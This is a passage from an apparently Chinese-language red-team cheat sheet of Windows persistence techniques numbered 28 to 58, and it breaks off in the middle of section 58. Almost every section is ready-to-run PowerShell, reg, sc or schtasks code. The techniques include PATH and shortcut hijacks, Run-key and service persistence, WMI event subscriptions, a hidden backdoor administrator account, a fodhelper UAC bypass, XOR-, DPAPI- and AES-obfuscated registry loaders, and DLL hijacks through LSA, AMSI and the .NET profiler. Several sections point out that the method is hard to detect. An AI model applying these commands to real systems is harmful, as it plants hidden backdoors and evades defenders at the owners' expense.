**TTP:** T1574.007 | **管理员权限:** ❌ | **APT:** APT41, PowerGhost
将带有常见工具名称的植入程序投放到用户可写的 PATH 位置。Windows 从左到右搜索 PATH —— 植入程序会首先被触发。
```
# 检查用户可写的 PATH 位置
$env:PATH -split ";"
# 常见可写路径:C:\Users\\AppData\Local\Microsoft\WindowsApps
copy "{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\python.exe"
copy "{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\git.exe"
copy "{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\node.exe"
# 每次调用 python/git/node → implant 优先运行
# 无需写入 registry,无需 Startup 文件夹,无需任务
# 验证
where.exe python
# 清理
del "$env:LOCALAPPDATA\Microsoft\WindowsApps\python.exe"
del "$env:LOCALAPPDATA\Microsoft\WindowsApps\git.exe"
del "$env:LOCALAPPDATA\Microsoft\WindowsApps\node.exe"
```
## 29. 快捷方式劫持
**TTP:** T1547.009 | **管理员权限:** ❌ | **APT:** Turla, APT32
将合法的桌面快捷方式 (例如 Chrome) 的目标替换为植入程序,同时保留原始图标。
```
$path = "$env:USERPROFILE\Desktop\Google Chrome.lnk"
$WS = New-Object -ComObject WScript.Shell
$SC = $WS.CreateShortcut($path)
$SC.TargetPath = "{path}"
$SC.IconLocation = "C:\Program Files\Google\Chrome\Application\chrome.exe"
$SC.Save()
# 验证
$WS.CreateShortcut($path).TargetPath
# 恢复
$SC.TargetPath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
$SC.Save()
```
## 30. 回收站持久化
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** 自定义/红队
将植入程序隐藏在回收站 SID 文件夹中 (默认情况下在资源管理器中不可见) + 注册表 Run 键。
```
# 获取当前用户 SID
$sid = (whoami /user | Select-String "S-1-").ToString().Trim().Split()[-1]
$recyclePath = "C:\`$Recycle.Bin\$sid"
copy "{path}" "$recyclePath\winlogon.exe"
# 设置 Run 键指向回收站(异常路径 = 低检测率)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Recycle" /t REG_SZ /d "$recyclePath\winlogon.exe" /f
# 验证
dir "$recyclePath"
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Recycle" /f
del "$recyclePath\winlogon.exe"
```
## 31. PowerShell 配置文件
**TTP:** T1546.013 | **管理员权限:** ❌ | **APT:** APT29, Turla
将植入程序启动注入到 PowerShell 的 `profile.ps1` 中 —— 每次打开 PowerShell 时都会触发。
```
# 如果不存在则创建配置文件目录
New-Item -ItemType Directory -Path "$HOME\Documents\WindowsPowerShell" -Force
# 注入到 profile
echo "{path}" > "$HOME\Documents\WindowsPowerShell\profile.ps1"
# 验证
dir "$HOME\Documents\WindowsPowerShell"
cat "$HOME\Documents\WindowsPowerShell\profile.ps1"
# 清理
del $HOME\Documents\WindowsPowerShell\profile.ps1
```
## 32. 新建服务
**TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group, FIN7, Carbanak
创建一个设置为自动启动的新 Windows 服务 —— 作为系统进程在重启后存活。
```
# 创建服务
sc.exe create UpdateService binPath= "{path}" start= auto
# 查询服务
sc.exe query UpdateService
# 启动服务
sc.exe start UpdateService
# 清理
sc.exe delete UpdateService
```
## 33. 修改现有服务
**TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Carbanak
劫持现有服务的二进制路径 —— 混入合法的服务列表中。
```
# 更改现有服务的二进制文件
sc config UpdateService binpath= "{path}"
sc stop UpdateService
sc start UpdateService
# 验证
sc qc UpdateService
```
## 34. 服务故障恢复
**TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** 自定义/红队
利用 Windows 服务恢复操作 —— 当服务崩溃时,触发植入程序。非常隐蔽,因为它看起来像一个崩溃恢复机制。
```
# 创建虚假服务
sc create FakeSvc binPath= "C:\Windows\System32\svchost.exe" start= auto
# 配置 failure action
sc failure FakeSvc reset= 0 actions= run/0
sc failureflag FakeSvc 1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc\Parameters" /v FailureCommand /t REG_SZ /d "{path}" /f
# 触发(使服务崩溃)
sc stop FakeSvc
# 清理
sc delete FakeSvc
```
## 35. BITS 任务持久化
**TTP:** T1197 | **管理员权限:** ❌ | **APT:** APT41, APT28, FIN7, BRONZE BUTLER
后台智能传输服务 —— 可在重启后存活,以 SYSTEM 上下文运行,不需要管理员权限。
```
# 使用 notification 命令创建 BITS 作业
bitsadmin /create /download PersistJob
bitsadmin /addnotifycmdline PersistJob "{path}" ""
bitsadmin /SetNotifyFlags PersistJob 1
bitsadmin /resume PersistJob
# 验证
bitsadmin /list /allusers /verbose
# 清理
bitsadmin /cancel PersistJob
```
## 36. 磁盘清理 COM 处理程序
**TTP:** T1546.015 | **管理员权限:** ❌ | **APT:** APT28, Turla, BRONZE BUTLER
通过 HKCU 劫持磁盘清理 COM 处理程序 —— HKCU 会覆盖 HKLM 的 COM 解析。不需要管理员权限。
```
reg add "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}\InprocServer32" /ve /t REG_SZ /d "{path}" /f
reg add "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
# 手动触发
cleanmgr.exe
# 验证
reg query "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}"
# 清理
reg delete "HKCU\Software\Classes\CLSID\{C0E13E61-0CC6-11d1-BBB6-0060978B2AE6}" /f
```
## 37. Windows 错误报告
**TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** 国家级行为者
在任何应用程序崩溃时触发植入程序 —— 对用户完全不可见。
```
# 配置 AeDebug 在崩溃时调用 implant
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /t REG_SZ /d "{path} %ld %ld" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ /d "1" /f
# 触发:使任何应用程序崩溃 → 触发 implant
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Debugger /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Auto /f
```
## 38. 应用程序 Shim (AppCompat)
**TTP:** T1546.011 | **管理员权限:** ✅ | **APT:** CarbonSpider, FIN7
应用程序兼容性 Shim —— 在运行特定 EXE 时重定向执行。作为已注册的 shim 数据库持久存活。
```
# 步骤 1:创建 shim XML
echo ^ > evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
echo ^ >> evil.xml
# 步骤 2:编译 shim(需要 sdb-explorer 或自定义工具)
# 步骤 3:安装 shim
sdbinst.exe evil.sdb
# 验证
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB"
# 清理
sdbinst.exe -u evil.sdb
```
## 39. WMI 事件订阅
**TTP:** T1546.003 | **管理员权限:** ✅ | **APT:** APT29, APT33, Lazarus Group, Turla
基于 WMI 的持久化 —— 在特定进程启动时 ( `wordpad.exe`) 触发植入程序。极其隐蔽 —— 没有文件,没有注册表 Run 键。
```
# 步骤 1:创建 Event Filter
$filterArgs = @{
Name = "INFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='wordpad.exe'"
}
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments $filterArgs
# 步骤 2:创建 Event Consumer
$consumerArgs = @{
Name = "INConsumer"
CommandLineTemplate = "{path}"
}
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments $consumerArgs
# 步骤 3:绑定 Filter 到 Consumer
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
Write-Host "WMI Persistence set!" -ForegroundColor Green
# 验证
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
# 清理
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter -Filter "Name='INFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer -Filter "Name='INConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding | Remove-WmiObject
```
## 40. 隐藏用户帐户
**TTP:** T1136.001 + T1564.002 | **管理员权限:** ✅ | **APT:** APT33, OilRig, Lazarus Group
创建一个后门管理员帐户,并通过注册表将其从登录屏幕中隐藏。
```
# 创建隐藏的管理员用户
net user WinlogonService Password123 /add
net localgroup "Administrators" /add WinlogonService
net localgroup "Remote Desktop Users" /add WinlogonService
# 在登录界面隐藏
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v WinlogonService /t REG_DWORD /d 0 /f
# 验证
net user WinlogonService
net localgroup "Administrators"
# 清理
net user WinlogonService /del
```
## 41. fodhelper UAC 绕过
**TTP:** T1548.002 | **管理员权限:** ❌ | **APT:** APT29, APT41, Turla
利用 `fodhelper.exe` 静默绕过 UAC —— 在没有 UAC 提示的情况下提升到 HIGH 完整性级别。
```
# 步骤 1:设置 registry 触发器
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "{path}" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
# 步骤 2:启动 fodhelper — 以 HIGH integrity 触发你的 payload
start C:\Windows\System32\fodhelper.exe
# 步骤 3:验证提权进程
whoami /groups | findstr "High"
# 清理
reg delete "HKCU\Software\Classes\ms-settings" /f
```
## 42. WSL 持久化
**TTP:** T1059.004 | **管理员权限:** ❌ | **APT:** 自定义/红队
如果安装了 WSL,则在 Linux 子系统内部建立持久化 —— 在每次 WSL 会话或重启时触发。
```
# 方法 1:bashrc(每次打开 WSL 终端)
echo "cmd.exe /c C:\\path\\to\\{implant}.exe" >> ~/.bashrc
# 方法 2:cron(重启时)
crontab -e
# 添加:@reboot cmd.exe /c C:\\path\\to\\{implant}.exe
# 方法 3:.profile(登录 shell)
echo "cmd.exe /c C:\\path\\to\\{implant}.exe" >> ~/.profile
```
## 43. DPAPI CurrentUser 注册表加载器
**TTP:** T1027.013 | **管理员权限:** ❌ | **APT:** APT28, APT29, Lazarus Group
使用 DPAPI (当前用户范围) 加密植入程序路径并存储在注册表中 —— 在运行时解密并执行。
```
# == 加密与存储 ==
Add-Type -AssemblyName System.Security
$plaintext = "{path}"
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$encrypted = [System.Security.Cryptography.ProtectedData]::Protect(
$bytes, $null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$encBase64 = [Convert]::ToBase64String($encrypted)
reg add "HKCU\Software\Microsoft\WindowsUpdate" /v "CfgData" /t REG_SZ /d $encBase64 /f
# == 解密与执行 ==
Add-Type -AssemblyName System.Security
$encBase64 = (Get-ItemProperty "HKCU:\Software\Microsoft\WindowsUpdate").CfgData
$encBytes = [Convert]::FromBase64String($encBase64)
$decBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encBytes, $null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$implantPath = [System.Text.Encoding]::UTF8.GetString($decBytes)
Start-Process $implantPath
# 清理
reg delete "HKCU\Software\Microsoft\WindowsUpdate" /v CfgData /f
```
## 44. DPAPI Machine 范围
**TTP:** T1027.013 | **管理员权限:** ✅ | **APT:** APT28, APT29
与 #43 相同,但使用 `LocalMachine` 范围 —— 同一台机器上的任何用户都可以解密。
```
Add-Type -AssemblyName System.Security
$bytes = [System.Text.Encoding]::UTF8.GetBytes("{path}")
$encrypted = [System.Security.Cryptography.ProtectedData]::Protect(
$bytes, $null,
[System.Security.Cryptography.DataProtectionScope]::LocalMachine
)
$encBase64 = [Convert]::ToBase64String($encrypted)
reg add "HKLM\SOFTWARE\Microsoft\WindowsNT\Cfg" /v "SvcBlob" /t REG_SZ /d $encBase64 /f
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\WindowsNT\Cfg" /f
```
## 45. AES 加密注册表加载器
**TTP:** T1027.013 | **管理员权限:** ❌ | **APT:** Lazarus Group, APT41
在运行时生成 AES-256 密钥/IV,加密植入程序路径,并将加密的 blob、密钥和 IV 存储在三个单独的注册表值中。
```
# == 加密与存储 ==
$key = [System.Security.Cryptography.Aes]::Create()
$key.KeySize = 256
$key.GenerateKey()
$key.GenerateIV()
$plainBytes = [System.Text.Encoding]::UTF8.GetBytes("{path}")
$enc = $key.CreateEncryptor()
$encBytes = $enc.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
reg add "HKCU\Software\Microsoft\Sync" /v "Payload" /t REG_SZ /d ([Convert]::ToBase64String($encBytes)) /f
reg add "HKCU\Software\Microsoft\Sync" /v "K" /t REG_SZ /d ([Convert]::ToBase64String($key.Key)) /f
reg add "HKCU\Software\Microsoft\Sync" /v "I" /t REG_SZ /d ([Convert]::ToBase64String($key.IV)) /f
# == LOADER — 解密与运行 ==
$payload = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").Payload)
$K = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").K)
$I = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Sync").I)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $K
$aes.IV = $I
$dec = $aes.CreateDecryptor()
$decBytes = $dec.TransformFinalBlock($payload, 0, $payload.Length)
$implantPath = [System.Text.Encoding]::UTF8.GetString($decBytes)
Start-Process $implantPath
# 清理
reg delete "HKCU\Software\Microsoft\Sync" /f
```
## 46. XOR 混淆路径 + DPAPI + RunKey (完全组合)
**TTP:** T1027 + T1547.001 | **管理员权限:** ❌ | **APT:** APT28, APT29, Lazarus Group
三层隐蔽组合:XOR 混淆路径,将 DPAPI 加密的 blob 存储在注册表中,RunKey 启动一个隐藏的 PowerShell 加载器,在登录时解密并执行。
### 阶段 A — XOR 混淆
```
function XorBytes($data, $key) {
$out = New-Object byte[] $data.Length
for ($i = 0; $i -lt $data.Length; $i++) {
$out[$i] = $data[$i] -bxor $key[$i % $key.Length]
}
return $out
}
$path = [System.Text.Encoding]::UTF8.GetBytes("{path}")
$xorKey = [System.Text.Encoding]::UTF8.GetBytes("M4n1k4nd4n")
$xored = XorBytes $path $xorKey
reg add "HKCU\Software\Microsoft\EdgeUpdate" /v "Blob" /t REG_SZ /d ([Convert]::ToBase64String($xored)) /f
reg add "HKCU\Software\Microsoft\EdgeUpdate" /v "K" /t REG_SZ /d "M4n1k4nd4n" /f
# Loader
function XorBytes($data, $key) {
$out = New-Object byte[] $data.Length
for ($i = 0; $i -lt $data.Length; $i++) {
$out[$i] = $data[$i] -bxor $key[$i % $key.Length]
}
return $out
}
$blob = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\EdgeUpdate").Blob)
$keyStr = (Get-ItemProperty "HKCU:\Software\Microsoft\EdgeUpdate").K
$xorKey = [System.Text.Encoding]::UTF8.GetBytes($keyStr)
$dec = XorBytes $blob $xorKey
$path = [System.Text.Encoding]::UTF8.GetString($dec)
Start-Process $path
```
### 阶段 B — DPAPI + RunKey 完全组合
```
# 步骤 1:创建 loader 脚本
$loaderScript = @'
Add-Type -AssemblyName System.Security
$enc = [Convert]::FromBase64String((Get-ItemProperty "HKCU:\Software\Microsoft\Cfg").Data)
$dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Start-Process ([System.Text.Encoding]::UTF8.GetString($dec))
'@
$loaderScript | Out-File "C:\ProgramData\loader.ps1" -Encoding UTF8
# 步骤 2:使用 DPAPI 加密 implant 路径
Add-Type -AssemblyName System.Security
$bytes = [System.Text.Encoding]::UTF8.GetBytes("{path}")
$enc = [System.Security.Cryptography.ProtectedData]::Protect($bytes,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
reg add "HKCU\Software\Microsoft\Cfg" /v "Data" /t REG_SZ /d ([Convert]::ToBase64String($enc)) /f
# 步骤 3:RunKey → 启动 loader(不直接启动 implant)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CfgSvc" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\ProgramData\loader.ps1" /f
Write-Host "DPAPI + RunKey persistence set!" -ForegroundColor Green
# 清理
reg delete "HKCU\Software\Microsoft\WindowsUpdate" /f
reg delete "HKCU\Software\Microsoft\Sync" /f
reg delete "HKCU\Software\Microsoft\EdgeUpdate" /f
reg delete "HKCU\Software\Microsoft\Cfg" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v CfgSvc /f
del "C:\ProgramData\loader.ps1"
```
## — 基于 DLL 的持久化技术 —
## 47. AppInit_DLLs
**TTP:** T1546.010 | **管理员权限:** ✅ | **APT:** Turla, APT29
`AppInit_DLLs` 会被加载到每个导入 `user32.dll` 的进程中 —— 覆盖了大多数 GUI 应用程序。这是最古老且最广泛的 DLL 注入向量之一。
```
:: Add DLL to AppInit_DLLs
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0 /f
:: Verify
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs
:: Cleanup
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f
```
## 48. COM DLL 劫持 (HKCU 覆盖)
**TTP:** T1546.015 | **管理员权限:** ❌ | **APT:** APT28, Turla, BRONZE BUTLER
HKCU COM 注册会覆盖 HKLM —— 不需要管理员权限。找到一个在 HKLM 中注册但不在 HKCU 中注册的 CLSID,然后在 HKCU 下注册你的 DLL。目标应用程序调用 `CoCreateInstance` → 加载你的 DLL。
```
:: Generic CLSID hijack — replace {CLSID-HERE} with target CLSID
reg add "HKCU\Software\Classes\CLSID\{CLSID-HERE}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{CLSID-HERE}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
:: Example: MMC snap-in CLSID hijack
reg add "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
:: Verify
reg query "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}"
:: Cleanup
reg delete "HKCU\Software\Classes\CLSID\{BCF2C8F5-9303-4F96-B1F9-37A6E7B77EA4}" /f
```
## 49. 服务 DLL — svchost.exe
**TTP:** T1543.003 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group, FIN7, Carbanak
将 DLL 注册为 `svchost` 托管的服务 —— DLL 在 `svchost.exe` 内部运行,并完美地混入合法服务中。
```
:: Step 1: Register DLL as a service
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v Type /t REG_DWORD /d 32 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v Start /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v ObjectName /t REG_SZ /d "LocalSystem" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f
:: Step 2: Add to svchost group
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v FakeGroup /t REG_MULTI_SZ /d "FakeSvc" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\FakeSvc" /v ImagePath /t REG_EXPAND_SZ /d "%SystemRoot%\System32\svchost.exe -k FakeGroup" /f
:: Step 3: Start
sc start FakeSvc
:: Verify
sc qc FakeSvc
:: Cleanup
sc stop FakeSvc
sc delete FakeSvc
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v FakeGroup /f
```
## 50. Winlogon 通知包 DLL
**TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla, PLATINUM
在 `Winlogon\Notify` 下注册一个 DLL —— 在启动时由 `winlogon.exe` 加载,并在登录/注销事件时被调用。
```
:: Register notification package
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v DllName /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v Logon /t REG_SZ /d "WinlogonLogonEvent" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /v Asynchronous /t REG_DWORD /d 0 /f
:: Verify
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
:: Cleanup
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\FakeNotify" /f
```
## 51. LSA 安全支持提供程序 (SSP) DLL
**TTP:** T1547.005 | **管理员权限:** ✅ | **APT:** Turla, APT28, PLATINUM
将 DLL 注册为 LSA 安全包 —— 加载到 `lsass.exe` 内存空间中。高度隐蔽;在身份验证子系统中运行。
```
:: Append your DLL name to the Security Packages list
:: (No path — DLL must exist in C:\Windows\System32\)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0payload" /f
:: Copy DLL to System32 (name must match value above)
copy "C:\lab\payload.dll" "C:\Windows\System32\payload.dll"
:: Takes effect after reboot
:: Verify
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
:: Cleanup — restore original list
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u" /f
del "C:\Windows\System32\payload.dll"
```
## 52. rundll32 + RunKey (反射式 DLL)
**TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** FIN7, Carbanak
使用 `rundll32.exe` 通过注册表 Run 键调用特定的 DLL 导出函数。合法二进制文件 (`rundll32.exe`) 执行 DLL —— 进程名引起的怀疑较低。
```
:: Basic RunKey + rundll32 persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SyncSvc" /t REG_SZ /d "rundll32.exe C:\lab\payload.dll,EntryPoint" /f
:: With hidden window via PowerShell wrapper
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SyncSvc" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -Command \"rundll32.exe C:\lab\payload.dll,main\"" /f
:: Verify
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SyncSvc
:: Cleanup
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SyncSvc /f
```
## 53. 计划任务 — rundll32 DLL
**TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group
通过 `rundll32.exe` 调用 DLL 导出函数的计划任务 —— 结合了计划任务的隐蔽性和 DLL 的执行。
```
# 基本一行命令
schtasks /create /tn "WinSyncDLL" /sc onlogon /tr "rundll32.exe C:\lab\payload.dll,main" /f
# 带有 Hidden 标志的 XML 方法
$xml = @"
true
true PT0S
rundll32.exe
C:\lab\payload.dll,main
"@
$xml | Out-File "C:\lab\dll_task.xml" -Encoding Unicode
schtasks /create /tn "WinSyncDLL" /xml "C:\lab\dll_task.xml" /f
# 验证
schtasks /query /tn "WinSyncDLL" /fo LIST /v
# 清理
schtasks /delete /tn "WinSyncDLL" /f
```
## 54. 幽灵 DLL 劫持
**TTP:** T1574.001 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group, PowerGhost
投放一个与系统正在搜索但缺失的 DLL 同名的 payload DLL —— Windows 在遍历搜索顺序时会首先找到你的 DLL。
```
# 这些 DLL 名称通常缺失 — 使用这些确切的名称释放 payload
$targets = @(
"$env:LOCALAPPDATA\Microsoft\WindowsApps\wbemcomn.dll",
"C:\Python39\wbemcomn.dll",
"C:\Git\bin\version.dll",
"C:\Program Files\7-Zip\version.dll"
)
foreach ($t in $targets) {
Copy-Item "C:\lab\payload.dll" $t
}
# 验证 PATH 搜索顺序
$env:PATH -split ";"
# 清理
foreach ($t in $targets) {
Remove-Item $t -ErrorAction SilentlyContinue
}
```
## 55. .NET Profiler DLL (COR_PROFILER)
**TTP:** T1574.012 | **管理员权限:** ❌ | **APT:** Lazarus Group, Turla
CLR 分析 API 会将 DLL 加载到用户启动的每个 .NET 进程中 —— 通过 HKCU 环境变量实现,无需管理员权限。影响 `powershell.exe`、`msbuild.exe`、Teams、OneDrive 以及任何其他 .NET 应用程序。
```
# 方法 1:通过 PowerShell 设置用户环境变量
[Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", "1", "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER", "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}", "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER_PATH", "C:\lab\payload.dll", "User")
# 方法 2:Registry(HKCU — 无需管理员)
reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d "1" /f
reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\lab\payload.dll" /f
# 验证
[Environment]::GetEnvironmentVariable("COR_PROFILER_PATH", "User")
# 清理
reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f
reg delete "HKCU\Environment" /v COR_PROFILER /f
reg delete "HKCU\Environment" /v COR_PROFILER_PATH /f
```
## 56. ETW Provider 劫持 DLL
**TTP:** T1574 | **管理员权限:** ✅ | **APT:** 国家级行为者
ETW (Event Tracing for Windows) 提供程序可以注册 DLL 路径。分析人员很少检查 ETW 提供程序注册 —— 检出率极低。
```
:: Find ETW providers with DLL paths registered
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers" /s | findstr /i "dll"
:: Register a fake ETW provider pointing to your DLL
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "(Default)" /t REG_SZ /d "FakeProvider" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "MessageFileName" /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /v "ResourceFileName" /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f
:: Verify
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}"
:: Cleanup
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{DEADBEEF-0000-0000-0000-000000000001}" /f
```
## 57. AMSI Provider DLL
**TTP:** T1562.001 | **管理员权限:** ✅ | **APT:** 国家级行为者
将 DLL 注册为 AMSI (反恶意软件扫描接口) 提供程序 —— 在每次执行 PowerShell、VBScript 和 JScript 时被调用。可以拦截脚本内容或返回 `AMSI_RESULT_CLEAN` 以绕过扫描。
```
# 注册伪造的 AMSI provider
$guid = "{CAFEBABE-1337-1337-1337-CAFEBABE1337}"
reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\$guid" /ve /t REG_SZ /d "C:\lab\amsi_provider.dll" /f
# 验证已注册的 provider
reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers"
# 清理
reg delete "HKLM\SOFTWARE\Microsoft\AMSI\Providers\$guid" /f
```
## 58. 打印处理器 DLL (Spooler)
**TTP:** T1547.012 | **管理员权限:** ✅ | **APT:** Lazarus Group, APT28
将 DLL 注册为打印处理器 —— 在启动时加载到 `spoolsv.exe` (SYSTEM 上下文) 中。可在重启后存活,以 SYSTEM 身份运行。
```
:: Step 1: Copy DLL to spooler directory
